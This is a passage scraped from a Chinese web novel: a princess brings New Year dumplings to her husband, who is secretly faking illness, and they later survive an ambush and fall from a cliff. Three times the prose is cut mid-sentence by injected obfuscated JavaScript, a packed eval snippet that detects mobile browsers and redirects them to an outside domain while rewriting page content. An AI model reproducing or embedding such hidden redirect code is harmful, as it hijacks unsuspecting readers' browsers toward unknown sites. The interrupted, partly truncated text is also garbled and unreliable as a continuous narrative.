那风也欺人，一阵紧似一阵地扑上来，尖利地钻进袖口、领口，却独独奈何不得她身上那层油烟味。 她今日一早便在厨房忙活，烟熏火燎，择菜切肉，滚油热灶。 此刻这恼人的烟味顽固地裹着她，经过这半日的冷却，带着烟火气的暖意是早没了，徒留一股子油腻腻的、与这清寒夜色格格不入的拙劣油腥气。 寒风吹过，只在她鬓边撩动几缕碎发，油烟笼在她身上，却是纹丝不动，狼狈为奸地坠着，也嘲笑着她。 脸上浮起痒意，她生出一股细密的窝火，恼羞成怒地将那点子落魄的失意掩去。 遥遥看过去，书房那盏灯倒是亮得殷勤，明晃晃地照着，仿佛要替主人挣一个“青灯黄卷、笔耕不辍”的清苦美名。 但，徒劳得很。 主人那点子见不得光的言而无信，到底是盖不住的。 灯火是帮凶，是最不识趣的揭发者。 祁悠然的那点委屈，那点伤心，原不过是引火的硫磺屑，此刻仿佛被那烛火嗤地燃起，将那腔子里郁结的冷硬，烧得噼啪作响，腾起一股子焦糊的青烟。 江烨恰在此时推门而出，看见面色阴沉的祁悠然，吓了一跳：“郡主，你怎么现在过来了？” 他面上闪过一丝不自然。 祁悠然却没搭理他，脚下未停，径直略过他推门进去。 那动作强势得不容置喙，带起的冷风扑了江烨一脸。 紧接着， “哐——” 木门被她冻得僵硬的手指，带着一股子气势汹汹的狠劲，重重推开。 一股浓重得近乎蛮横的药味，却是突然毫无征兆地劈面压了过来，呛得祁悠然呼吸一窒。 苦森森的味道把她身上的油烟味连同咄咄逼人的气势，冲得淡薄了几分。 祁悠然一顿，仿佛舌头咂摸出往昔几日的苦味。 药味重的如有实质。 空气承载不住这份霸道的汹涌，狼狈逃窜、一再退让，沉郁的药味化作苦雨，淋在祁悠然心上。 那被怒火灼烧得滚烫、几近沸腾的血液，也因此倏地凉了下去。 理智，如同一个被强行从昏热中拽醒的病人，带着一身冰冷的虚汗，不情不愿地、却又无比清晰地回笼了。 她拎着食盒，手指却依旧是麻木的，尚未从那彻骨的寒气中苏醒。 借着这片刻的冻僵，她一时没有动作，目光直直的，只看向坐在桌后的那人。 衣衫单薄，脸上是纸一样的白，连嘴唇都失了血色。 他虚弱地陷在椅中，闭目养神，一向挺直的背此刻显出坍塌的姿态。 如同一张被水浸透又晾得半干的旧宣纸，单薄得几乎要洇进昏沉的灯影里。 “你……寒毒又发作了吗？”祁悠然喉咙发紧，声音是抖的。 顾濯眼皮微掀，目光虚浮地落在她脸上。 没有否认，没有责怪，亦无其他多余的情绪，只是默认了一个冰冷的事实。 烛火再无半点惶惶，跳跃着，像沉冤昭雪的自得。 那明晃晃的光，便是它无声的控诉状。 祁悠然被刺了眼，只得仓皇地移开目光，不敢再与那光、那人相对。 她下意识后退了半步，突然生出了一种想要逃离这方空间的冲动。 时间变得漫长而煎熬。 她无比清晰地感受到了药味里带着的那股仿佛熬尽了草木、熬枯了锅底的焦苦，此刻已然灌满了她的胸腔。 她蓦地悔恨起来。 不该这么粗鲁地对待木门，若是动作再慢一些，再缓一些，容那药味先一步飘散出来，她便可以体面地抽身而退。 脑海中，那“哐当”的推门声固执地回荡着，清晰得刺耳。 像是一记响亮耳光，毫不留情地掴在她方才那点自以为是的决绝上。火辣辣的痛感，迟滞地、清晰地，从耳膜一路烧灼到心底最深处。 顾濯极其缓慢地，一点一点，从椅子里“拔”起身形。 那动作滞涩，牵扯着看不见的病气，带起椅子的吱呀声。 尽管他用力遮掩着，祁悠然却注意到，顾濯绷紧的指节在桌沿上用力到泛白，额角甚至逼出了几点细密冰冷的虚汗。 他唇色灰败，气息微弱地吐出一句：“抱歉……失约了。” 随后低下头，思绪难辨。 声音是飘忽却带着愧疚的，目光是虚浮涣散的，仿佛视线焦点都难以凝聚。 罕见地露出几分脆弱模样。 祁悠然喉头艰涩地动了动，却像被那药味呛住，一个字也吐不出来。 她自以为隐蔽地将手中那只食盒掩到身后。仓皇的动作，带着一种近乎掩耳盗铃的狼狈。 方才还被她暗自珍重、甚至带着点赌气撒泼也要硬塞给他的“心意”，此刻却烫得她指尖蜷缩，只想立刻脱手，连着她自己，远远藏匿到那无边的夜色里去，销声匿迹。 她的贫瘠心意，若是就这么赤裸裸地、不知天高地厚地摊开在这本因她而起的浓重药味和苍白病容前，简直轻率而粗略。 她已然亏欠太多，又岂是这些拙劣的饺子可以简单偿还的？ 眼前这碟粗陋不堪的饺子，连利钱的零头都算不上，又如何能填平那深不见底的亏空？ 更可笑的，是她方才竟还生出了质问的念头。 像一个身无分文的乞丐，站在债主门前，倒想先声夺人地讨要起利息来。 顾濯仿佛全然未觉她的窘迫与那几乎要灼穿背脊的愧疚，只将目光虚虚落在她脸上，声音飘忽如絮，却带着关切：“你的身子……可大好了？” 祁悠然一怔，猝不及防地被刺破了心口那层自怨自艾的硬壳。 她挺直的背脊泛起苦苦支撑的酸意。 半晌，她才找回自己的声音，干涩地应道：“已……无碍了。” 顾濯微微颔首，面庞的轮廓在昏黄灯影下意外地显出几分柔和：“嗯，早些安歇。” 祁悠然目光复杂地在他苍白的面容上停留一瞬，正待转身将这满室的沉重药味和更沉重的难堪甩在身后，顾濯却忽地出声，视线飘向她藏在阴影里的手：“你……手里提的什么？” 祁悠然心尖一颤，下意识地将食盒往身后更深地掩去，声音绷得死紧：“……没什么。” “是备下的年夜饭食么？”顾濯的目光依旧虚浮，并未捕捉到她瞬间僵硬的神色，只自顾自地说道，“既带来了，便留下吧。” 祁悠然张了张嘴，却不知该说什么。 心底那朵早已零落成泥、被寒风碾作尘芥的小花，竟似被这轻飘飘的一句“留下吧”注入了回魂的妖气，“噗”地一声，从冰冷的尘埃里诈尸般钻了出来。 她的心剧烈跳着，源源不断提供着花朵起死回生成长的养分。 那死而复生的花，在心田的滋润下，瞬间开得妖异而盛大，花瓣娇艳欲滴，几乎要撑破她单薄的胸腔。 实在是美好得不真实，像一个被拙劣拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860274|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑出的、一戳即破的斑斓幻梦。 她几乎是屏着呼吸，将那只食盒小心翼翼、轻轻地搁在桌上：“不过是些粗陋吃食，随手弄的，没费什么心思。你若是……不合胃口，随手处置了便是。” 食盒虽做工精致，但此刻摆在铺了笔墨纸砚的桌上，实在突兀得扎眼。 祁悠然将它一把推搡到桌角最深的阴影里。 她看了眼顾濯，目光是痛的，却又飞快掩过：“会好的……会好的……” 似叹息，似安慰。 这短促的、毫无底气的呓语，竟被她重复了两遍，引得顾濯眉间蹙起一道极淡的褶痕。 祁悠然看了眼顾濯烛火下苍白的脸，指尖无意识地蜷进掌心。 此刻她冰冷的手终于因着书房的炭火恢复知觉，那点贪恋温暖的软弱心思却被残忍压下，她终究只是极轻地吸了口气：“我先走了。” 顾濯的目光追随着她离去的背影，直至那扇门被轻轻关上，仿佛怕惊扰到什么，彻底隔绝了他的视线。 像是一场戏剧的谢幕。 也在提醒着屋内的人收起假象。 顾濯仍看着那扇门，眼底的情绪，在昏黄烛光下晕染开来，呈现出一种浑浊的、真假难辨的色泽。 暖黄的光晕覆在他如玉的面庞上，像蒙上了一层脂粉。 直到他垂下眼，浓密的眼睫像刷子，将脂粉擦尽。 眼底那点稀薄的关切瞬间褪尽，只剩下一片沉冷的墨色。 江烨悄步闪入：“世子……” “嗯。”顾濯的声音恢复了平日的冷峭，毫无波澜，“她没起疑。” 他站起身，烛火下的动作流畅，肩背舒展，没有半分奄奄一息的病态。 他随手从架上抽出一本无关紧要的书册，指尖在书脊上漫不经心轻轻一叩：“把药倒了，手脚干净些。” 江烨应声端走那碗早已冷却的药汁。 顾濯的目光懒懒地从那书页上移开，落向桌角那只格格不入的食盒。 眼底掠过一丝莫名的烦躁，他伸手掀开盖子。 碟子里挤着几个饺子，有的破了皮，露出里面深色的馅料，油汤渗出，在冷透的碟底凝成一小圈白腻的油花，蔫头耷脑地躺在冰冷的碟子里。 顾濯眉峰几不可察地蹙了一下，随即松开。 一丝极淡的、混杂着油烟与廉价猪油渣的气味，怯生生地飘散开来，与书房清冷的墨香格格不入。 他声音冷淡：“把这些，一并扔了罢。” 江烨微愣，但还是依言上前端起食盒。 顾濯极其缓慢地垂下了眼帘，毫无预兆地，他回想起刚刚祁悠然转身离去时，手背上那道被热油烫出的、新鲜红肿的燎泡。 “等等。”仿佛沉浸在某种角色余韵里，顾濯忽又开口叫住江烨。 两个字，却是宣告对情感的妥协与退让，莫名显出自暴自弃的意味。 江烨驻足，心领神会地收回手。 顾濯的目光重新落回那碟不堪入目的饺子上，软塌塌的，像哭肿的眼皮。 他停顿片刻，眼底掠过一丝功利性的冰冷考量。 案头那盏烛火，残留着入戏的余温，依旧在这方空间兀自燃烧着。 他执起筷子，极其随意地夹起其中一个卖相最差、几乎要散开的饺子，语气平淡无波，听不出半分情绪：“算了。” 像是嫌这话还不够分量，又或是怕自己心软似的，终究是将那点微不足道的“不忍”，精准地换算成了“麻烦”，他画蛇添足地补了一句：“免得……她日后问起，平白多费口舌。” 19. 杀机 祁悠然失魂落魄地回到院子，每一步都拖拽着无形的负面情绪。 白石此时却在外头候着，身形融在夜色里，也沾了夜的凉气。 祁悠然看着她呆立的样子，忍不住皱眉：“等多久了？进来吧，外头太冷了。” 推开门的一瞬，屋内昏黄的烛光涌出来，祁悠然脸上那层浮着的、薄灰似的失意，被眼皮一垂一抬，便收拾得干干净净。 “郡主，先前在朱雀街上行刺的两人，已经招供了。有个男人寻过他们，布下这出恶毒的戏。那人从头到脚蒙着，只瞧出个寻常中年男人的身量。” 祁悠然抿唇，既然对方有备而来，自然是泥牛入海，无迹可寻。 她感到一种熟悉的疲惫，如同陷入一张无形的蛛网，越挣扎，缚得越紧。 白石眼底划过一丝狠辣：“这两人……眼下怎么处置？” 祁悠然眼皮冷淡地垂着：“她不是怨我草芥人命吗……” 话尾咬在齿间，细细地磨，倒像嚼着什么苦果。 她摊开掌心，目光落在那道疤痕上，唇角若有似无地一牵，“那便如她所愿，按律处置就是。” 轻飘飘的一句话，带着点尘埃般的嘲弄。 她抬起眼，那眼神穿过虚空，泄露深藏的、尖锐的阴郁。 大梁的律法么……向来是最下流的商贾手里的账本子，对着谁的脸面、掂着谁的斤两、嗅着谁口袋里的铜臭气，翻出截然不同的价码来。仁义道德是写在封皮上糊弄鬼的，内页里爬满的，全是见不得光的蝇营狗苟。 处置？也不过是看人下碟的一碟冷菜罢了，摆给该看的人瞧个样子，堵住悠悠众口，至于底下是馊是臭，谁又真的在意？ 她略停了一停：“周氏有消息了吗？” 白石摇摇头，满脸歉疚。 祁悠然轻轻叹了口气：“不必太过介怀，继续找吧。” “找着了……”她顿了顿，目光投向窗外浓得化不开的夜色，“就不必费事送回岭南了，直接杀了吧……也算替天行道了。” 她唇边又浮起那点讽刺的笑。 烛火的光泼下来，浇了她一身，浓稠得化不开。光影里，她整个人虚晃晃的，倒像个纸扎的鬼魅，透出几分不祥的艳丽。 “过年了……”祁悠然的声音没什么喜气，平平板板，“还劳烦你跑一趟，去找邬先生。” 茶盏氤氲出一点稀薄的热气，祁悠然抿了口茶：“这药虽烈，却颇有效用。分量……再加几成罢。” 白石皱眉：“你的身体……” 祁悠然无所谓地牵了牵嘴角，眼中带着一种近乎残忍的平静。 那笑容很浅，浮在脸上：“无事。” 往昔种种，分明才三年，却成了经年旧事。她不许人窥探，也不乐于言说。 愧疚与不忍是活的，无声无息，却日夜不息地蛀蚀着她为数不多的那点良心。 只留下这一具日渐枯槁的躯壳，在年关的烛影里，无声地耗着，直到熬干最后一点生气。 何时能解脱呢？ 祁悠然忽地抬手，朝白石抛去一物。 白石慌忙接了，掌心里一沉，是串红绳缚住的铜钱，沉甸甸的。 “这些日子，辛苦你了。”祁悠然望着她，“算是压岁的意思，别嫌我多事……过年好。” 硬邦邦的一句话，却也透出点活气。 白石动容地摇摇头，将这串冷硬的铜钱攥在掌心。 怎么会嫌呢？自从那年被从泥泞血污里一把拽起，她这条命，这腔子里的血，早就是祁悠然的了。她用一辈子报恩，也只觉不够。 这个年，依旧是寡淡的。 像一壶陈茶，勉强啜饮一口，只在唇齿间留下些微涩的渣滓，连带着胃里也泛着酸冷的空虚。 顾濯那头，是彻底沉寂了。他身体不适，闷在房内，门窗紧闭，一丝人声也无，连光影都吝于泄露半分。 祁悠然立在廊下，残存的雪，映着惨淡的天光，白得刺眼，白得荒凉。 隔着门廊，那门槛便成了天堑。 她遥遥望着，只看到自己，被廊下那点稀薄的光，投在地上一个伶仃的影子，孤单地贴在砖上。 一个是面上的浮沫，一个是沉底的茶渣，明明囿于同一只冰冷的容器，却隔着咫尺的水层，永远触碰不到彼此。只在无声的倾轧中，零落地沉浮。 明明近在咫尺，偏生远过天涯海角。 祁悠然再次见到顾濯，是元宵前一天去感业寺祈福。 当今皇帝尚佛，不同于太祖皇帝，这喜好便如同无形的律令，连带着满城的王公贵胄，也都要在这节日里，挤到金碧辉煌的佛堂宝殿中来，做出虔诚的模样。 人间泼天的富贵，心底那些见不得光的私欲，都化作了前仆后继的香火钱，叮叮当当地砸进功德箱。 祁悠然并不信这些泥胎木塑真能普渡什么众生。凡事皆在人为，或成或败，或生或死，不过是一己之力与那看不见的命数角斗罢了。 可这郡主的金冠，重逾千钧，一举一动，都要守着这浮华世界里不容置疑的秩序。 祁悠然自嘲地想，她的脊梁骨早就被抽走了，空剩一具金玉其外的皮囊，日复一日，在这衣香鬓影、尔虞我诈的人世间，维持着一个跪着的姿势，连她自己都忘了该如何站直。 ……一如三年前，她匍匐在那象征无上权力的丹墀之下，额头触着冰凉的地砖，将所有的惊怒、仇恨与怨毒，都死死压进尘埃里。 顾濯一身玄色大氅，衣着比往日厚重些许，但依旧极为简单，并无半点珠玉配饰，通身上下只有一片沉郁的黑。 他这些天清减了许多，身量愈发显得孤峭。 清隽的面庞笼着挥之不去的倦色，然而那眉目，却依旧是疏离沉静的。 祁悠然却觉得他周身的气息已然不同了，淬着些锐利的寒意，显出一种近乎肃然的清寂。 她蹙起眉头，忍不住多看了顾濯几眼。 “咳咳……”顾濯闷出几声咳嗽，微微侧过脸，肩背几不可察地轻颤了一下。 他抬手，苍白的指节极其克制地掩住薄唇。 方才周身那股迫人的霜意，也被这突如其来的脆弱敛去了几分，露出一点强撑之下的勉强。 “……要不别去了？”祁悠然突然开口。 顾濯愣了愣，反而突兀问了一句：“你呢？” 他的声音带着哑意。 “我自然是要去的。”祁悠然垂下眼，以为他是想起了寄春宴自己的任性离开，发出的质问。 她眼中闪过一丝不自然：“无故缺席这祈福大典，实在失礼。” 顾濯没有继续说话，只沉沉看她。 感业寺内自然备有供贵人休憩的厢房，今日过去便可避入其中，暂得喘息，待到明日那场声势浩大的祈福大典，再走个过场便是了。 想来……总不至于真熬干了他这副强弩之末的躯壳罢？ 祁悠然这般思索着，心头那丝若有似无的隐忧，便被这看似周全的退路轻轻抹平了。 更何况，这么些年，反反复复地经历冷落与失望，她比谁都清楚，顾濯的意志，从来不是她能撼动的。 三年前那场强扭的瓜，硬生生塞进他嘴里，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冷不防被车内主子诘问，他浑身一哆嗦，结结巴巴道：“回、回郡主……有个女子……不知从哪个犄角旮旯里突然扑出来，拦、拦住了车驾……” 他咽了口唾沫，眼神躲闪地瞥向车前方那个跌坐在地的身影，声音压得更低，带着点难以启齿的鄙夷：“看……看那身扮相，脸上抹的粉比墙皮还厚……似乎……是个青楼里讨营生的……” “红绡楼？”顾濯低沉的声音响起，他冷冷看向祁悠然，“你又做了什么？” 祁悠然眉头蹙得更深，心头先是闪过被冤枉的恼怒，随即浮起一丝真切的疑惑。 红绡楼？除了秦婳，她近来何曾招惹过那等地方？ 半晌，她兀自下车去。 寒风裹挟着尘土的气息扑面而来，她目光落在车前泥泞中那个狼狈不堪的身影上。 女子发髻散乱，脸上廉价厚重的脂粉被汗水和尘土胡搅蛮缠地混杂，根本辨不清原本的容貌。 祁悠然眼底的疑惑更深了，直到她的视线无意间扫过女子脚上那双脏污不堪、却依稀能辨出精巧绣工的旧鞋：“你是……芸娘？” “快走！”那女子剧烈喘息着，全然不顾身下冰冷的泥泞和散乱的裙裾，竟是竭力手脚并用地朝祁悠然的方向，在肮脏的地面上拖出一道狼狈的痕迹，拼命地爬过来，“快走，有人要杀你！” 20. 坠崖 那女子仰视着祁悠然，发丝黏在汗津津的额角，满脸狼狈，亦是满脸急迫。 祁悠然蹙眉，她伸出手，试图去拉芸娘：“究竟发生了何事？” 芸娘却怕身上污泥脏了她的手，非但没有借力，几乎是手脚并用地向后蹭了蹭，在泥地里又拖出一道更深的痕迹。 脸上红白黑胡乱搅在一处，糊住了她原本的眉眼，只余下一双眼睛，瞪得溜圆，亮得惊人：“我在红绡楼听到……” 话音未落，几道影子骤然泼袭而来。 像失手打翻的宿墨，带着腐朽的浊臭，透着森蚺的阴冷。 粘稠的杀意不由分说朝着祁悠然倾倒而来，招式狠辣，直取性命。 暗处的护卫，此刻也仓促地显了形。刀剑磕碰，发出几声短促而刺耳的“铮铮”响，在这突如其来的杀戮场里，竟显出几分单薄和局促。 那点刀刃的寒光，瞬间就被更浓重的死亡阴影吞没。 原本唯唯诺诺的小厮，此刻脸上那层卑微的假皮骤然剥落，眼中爆出凶光，直扑孤零零停在道中的马车。 “顾濯！”祁悠然声音猛地拔高，尖利与惊惶撕裂了空气。 她不管不顾地朝着马车跑去，裙裾翻飞，掠过泥泞，溅起点点污浊的泥星。 车内的人，几乎在同一刹那，便已洞悉了车外泼天的杀局。 没有半分迟疑，玄色大氅的衣袂倏地扬起，带起一股冷冽的风。 那道颀长清减的身影，利落地旋身下车。 动作行云流水，呈现与苍白病容截然不符的凌厉与果决。 借着马车车厢作为屏障，身形落地的瞬间， “铮——” 剑光乍起，两刃相撞。 顾濯没有多余的动作，只手腕一旋。 剑尖轻描淡写地掠过咽喉。 那小厮脸上狰狞的神色僵住了，他难以置信地瞪大眼，直挺挺地向后倒去。 方才狂奔的喘息还堵在胸口，祁悠然僵立在几步之遥的泥泞里。 她怔怔看着，眼前墨色翻涌。 顾濯一袭玄衣，如松烟墨泼洒开来，几乎要洇透这方血腥的天地。 他举剑游走，动作疏朗如写意笔锋，在泼溅开来的、尚带余温的朱砂血色中，从容点染。 剑光起落，如同在宣纸上划下一道道冷冽留白。 所过之处，生机顿绝。 一种巨大的、冰冷的陌生感涌上祁悠然的心头。 顾濯却蓦地一顿。 他蹙起眉头，手不受控制地抖了一下。 这细微的凝滞，在致命的杀局里，便是敞开的鬼门关。 一个杀手觑准了这瞬息即逝的空隙，刀锋裹着腥风，寒意砭骨。 容不得思考，祁悠然身体先于意念，爆发出困兽般的蛮力，猛地朝顾濯扑去。 寒光几乎是贴着她的耳侧，削断了几缕发丝。 顾濯眸中闪过讶然。 但此刻那点被强行压下的病气似乎又浮了上来，他急忙回身，剑势带着凝涩仓促递出，试图格挡。 剑招依旧精准，只是那苍白的额角已渗出细密的冷汗，呼吸也带上了压抑的急促。 对方身手诡谲，杀招频出，紧咬不放。 两人在这方寸之地一避一抵，身形竟被无形的恶浪推搡着，踉跄着，直退到了崖边。 一个不防备，两人身形猛地一晃，跌下崖去。 祁悠然只觉眼前景物疯狂倒卷，耳边是猎猎作响的风声。 一种近乎荒诞的本能驱使着她伸出手，以一种笨拙又决绝的姿态，将顾濯的身形紧紧拢向自己怀中。 仿佛这样，就能替他挡住下方未知的吞噬。 下坠的狂风灌满了她的口鼻，带着泥土和腐朽的气息，呛得她几欲窒息。 最后映入眼帘的，是上方那片迅速缩小的、灰蒙蒙的无情天光。 . “咳咳……”祁悠然吃痛地挣开眼睛，发觉自己身上披着顾濯的大氅。 她无意识地攥紧了身上的大氅。 厚重的衣物带着顾濯独有的清冽气息，将她与身下硌人的碎石、刺骨的寒意隔开些许。 祁悠然艰难地支起身体。 顾濯靠坐着一棵大树，脸色在昏暗的光线下，苍白如纸。 他微微垂着眼睑，深潭般的眼沉寂着，看不出情绪，只有眉宇间洇着未散的倦意和痛楚。 祁悠然目光在他冷硬的轮廓上停留了一瞬。 “你有没有事？”她声音嘶哑得厉害。 顾濯闻声，缓缓抬起眼皮。 “……还好。”他薄唇微动，面上平静，气息却有些不稳。 他似乎也发现了这一异样，说罢便重新垂下了眼帘，浓密的睫毛掩去了眸底可能泄露的所有真实。 祁悠然沉沉呼出一口气：“眼下该如何？” 她抬头看了一眼灰沉黯淡的天色，似乎又要下雪。 “江烨呢？”她问，声音里听不出多少期待。 顾濯微微阖着眼：“外出……办事去了。” 那“办事”二字，含混不清，不知是刻意隐瞒，还是连解释的力气都已耗尽。 祁悠然也不在意，唇角极细微地扯动了一下，那弧度里没有笑意，只有一种近乎麻木的、认命般的了然。 “运道不好，”她的声音依旧平直，像在陈述一件与己无关的事，“那我们被发现获救，就要几天后了。” 顾濯皱眉：“为什么？” 祁悠然终于侧过脸，面无表情地看向他。 “裴朔那个浪荡子一向不喜寺庙清规，嫌拘束。这次也定会推脱称病不参与。镇北侯府的习惯向来是明早到庙中。” “至于我……”她微微一顿，那语气里听不出悲喜，却比寻常的恸哭更刺人，“你也知道，六亲皆无。” 她带着点残忍的嘲弄，轻轻抛出了那句诛心之问：“那么除了他们，还会有谁惦记你我死活？” “……” “在不想我们死的人里。”像是怕自己不够刻薄，她严谨地补了一句。 “……” “如果只考虑不想你死，或许还能加个温颜。”祁悠然看向顾濯，“那么，夫君您这位‘前’未婚妻，有可能在今晚，背着我，跑来与你私会吗？”她低下头，带着近乎自虐的戏谑语气提问。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860276|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾濯目光复杂地看向她，一时没有说话。 祁悠然也不指望他应答，她垂下眼，想起了芸娘——那个带着秘密、满脸狼狈与急迫扑到她脚下的女子。 自己眼下虽狼狈，倒还性命无忧……可芸娘呢？她那样扑出来，惊动了杀手，此刻只怕……祁悠然不敢深想。 她撇下嘴角，只觉得一股猝然的难过漫上来。 祁悠然自嘲地想，菩萨是嫌她从地狱的泥沼里爬出来，一身洗不净的孽障与血腥，所以连她踏进庙门一步都嫌腌臜，要用这突然的劫难，将她重新打回原形，免得玷污了那清净之地吗？ 不过眼下这绝境，没有缺胳膊少腿，没有深可见骨的致命伤。 比之几年前那场几乎将她碾碎，浸透在无边血色与屈辱里的劫难，这点皮肉之苦与崖底的寒风，竟显得……过分仁慈宽厚了。 “走吧。”祁悠然看向顾濯，“趁着天色不晚，寻一处洞穴过夜。” 她挣扎着起身，身体却难以维系站立，猝不及防又跌倒在地，痛得她倒抽一口冷气。 顾濯无言地注视着她，那深潭里似乎掠过一丝微澜，极快便平息了。 他迟缓地起身，身形微微滞了一瞬，随即，朝她伸出了手。 祁悠然的目光在那只手上凝了一瞬，眼底有什么极其细微的东西掠过，快得如同烛火将熄前的最后一丝跳跃。 她没有言语，只是沉默地伸出自己沾满泥污、伤痕累累的手，搭上了那片苍白。 两只手，一样的冷，一样的狼狈，在漠然的空气里短暂地交握。没有一丝暖意传递，只觉出彼此皮肉底下骨头的嶙峋，带着一种无声的、无可奈何的牵扯。 两人互相搀扶着，一步一步向前走去。 祁悠然的脑子里，却突兀地，牵出一种近乎可笑的固执，盘亘着一个念头： 眼下才不是绝境。 ……至少，顾濯在她身边。 这个认知荒谬得让她想笑。 她和他之间，隔着名存实亡的婚姻，隔着各自深埋的秘密，隔着无数猜忌和冷漠的鸿沟。 可偏偏是此刻，在这性命攸关的绝地，在这彻骨的寒冷与死亡的余威中，他们倒剥落了那层金玉其外的壳子，显露出一点狼狈的真实来。 不再是高门大院里那对相敬如“冰”的夫妻，倒成了两条在困境里互相撕咬着、又不得不紧贴着的落水狗，竟也生出一点相依为命的可怜相。 然而祁悠然心里透亮：一旦爬回那吃人的锦绣堆，一切便又打回原形。他们仍是那对琴瑟失调的怨偶，弦绷得死紧，调子荒腔走板，只等着哪一日“铮”地一声彻底崩断，劳燕分飞。 这无休无止的苦痛到底给了她什么呢？ 它太残忍了。 它在你沉入绝望的渊薮时，偏偏又递给你一丝游丝般的生念，支撑着你踉跄前行；可当你以为抓住了什么，抬眼望去，前路依旧是望不到头的、更深更冷的黑。 这念头刺得她心头又痛又麻。 多么讽刺，多么可怜…… 可这偏偏就是人间的真相，赤裸裸的，剥了皮的，血丝糊拉的，连自欺欺人的余地都不肯给。 21. 名分 天色是青灰的冷，吝啬地透下一点惨淡的光。雪意沉沉地压在天际，随时要倾覆下来。 祁悠然急促地呼吸，脚下虚浮，踩着棉花似的，软塌塌吃不住分量，偏生咬着一口冷气硬撑着。 冷汗细密地浮上额头。终是忍不住，喉咙里一阵翻涌，低低地呛咳起来，那声音闷在胸腔里，带着撕裂的暗哑，肩胛骨也随着一阵阵轻颤。 顾濯皱眉，双手几乎是下意识地、带着点生硬的力道，攫住了她的臂膀，截住了她盲目向前的惯性。 “歇息片刻。”声音没什么温度，却莫名透出一股沉意。 祁悠然眼前一阵发黑，无数细碎的金星乱迸。若不是顾濯扶着，怕是此刻便要委顿在泥泞里。 她闭了闭眼，喉头艰难地滚动了一下，像吞刀片似的，将喉间的灼痛生生咽下去，按回脏腑深处。 许久，她缓缓吐出一口浊气，那气息带着些灼人的热度：“走。” 她汗涔涔的手，冰冷而湿滑，擦过顾濯的衣袖，粘腻地贴在他的皮肤上。 像两条搁浅的鱼，用湿冷的鳞片互相刮擦着借力。 顾濯低头，目光落在祁悠然那两片失了血色的唇上。 唇色淡得像褪了色的旧绢花，干涸地落在失了生气的面庞上。 她的眼神也早已涣散开，雾蒙蒙地洇成一片，视线由一点扩散至无边无际的虚空里去，竟连他的一点影子也盛不下了，空荡荡的。 那只攥着他的手也传递着一种体力透支的虚脱感，软绵绵地挂在他腕上，仿佛全身的力气都已从指尖漏尽了，只剩下一点本能的牵扯。 他的心慌了一瞬，眼中闪过一丝懊恼。 他抬手，将掌心覆上她的额，触手是黏湿的微烫。 不得章法地替祁悠然擦了擦汗，顾濯生出些许无措来。 微弱的呼吸拂过他的颈侧，他几乎是下意识地将她更紧地箍向自己怀里。 “别睡。”他低声道，声音里带着些许紧绷。 “前头……有个村庄了。” “再撑一撑。” “就要走到了，这时候睡不得。” “……” 干瘪的词句，罕见地多了起来，一句紧似一句地往外蹦，失了往日的分寸与矜持。 连顾濯自己也觉着陌生。 幸好，唤起了祁悠然些许微弱的神志。 她吃力地抬眼，视野里，依旧是层层叠叠、浓得化不开的墨绿，哪来的村子？ 顾濯是在唬她吧？还是说……连他自己也已被这无边的绝境熬干了心智，眼前竟也生出了那海市蜃楼般的幻影？ 若连他都已开始指鹿为马，那他们脚下这条泥泞的路，尽头怕不是村庄，而是连幻象都彻底湮灭的荒芜…… 她的意识逐渐昏沉。 恍惚间，她又跌回了那座死气沉沉的祠堂。 刚下过一场大雨。 空气里浮动着陈年香灰，朽木的霉斑无声蔓延，混着翻涌上来的湿泥腥气。 她沉默地跪在地上，膝盖发疼，钝痛丝丝缕缕地往骨头缝里钻。 在相府的第二个年头，她设计陷害养父母一家，却被那个血缘上的父亲发现了。 他隐在堂上那片浓得化不开的暗影里，身形轮廓模糊，只有一道冰冷的目光，打量着她。 “听说，你先前曾拿着把刀，以自杀相逼那朝奉帮你做事。” 声音不高，平平地递过来，听不出半分喜怒。 祠堂里死寂一片。 “呵，勇气可嘉。”那声音带着股嘲讽。 她默然应下，伏跪的姿态是驯服的壳，内里翻涌着什么，无人知晓。 他高高在上地冷眼看着，仿佛在掂量一件物品的成色，冷漠的声音复又响起，带着一种近乎残忍的、循循善诱的清醒：“蠢。做错了。” “手里既然握着刀，”那声音陡然清晰了几分，“就不该拿自己的性命去赌。天底下再没有比这更蚀本的买卖了。那刀合该架在旁人的脖子上。去挟持，去割肉，去榨出，你想要的价码。” 阴冷的余韵，像蛰伏在暗处的毒蛇，无声吐信。 短暂的沉寂后，那冰冷的声音再度流淌，带着玩味的审视：“这次倒是学聪明了，伙同赌场的做局，诱那不成器的，输光了家底。” 他轻嗤一声：“但是，心还是太软了。既然做了，就应该赶尽杀绝才对。” “不然，他们后面也不会勾结山匪，想着绑了你，索要赎金。不过眼下，却是恶贯满盈，自食其果了。” 她喉头干涩，声音低哑：“你……杀了他们？” “不。”他刻意放慢语速，仿佛在布施无上恩典，“其实选择权，在你。” 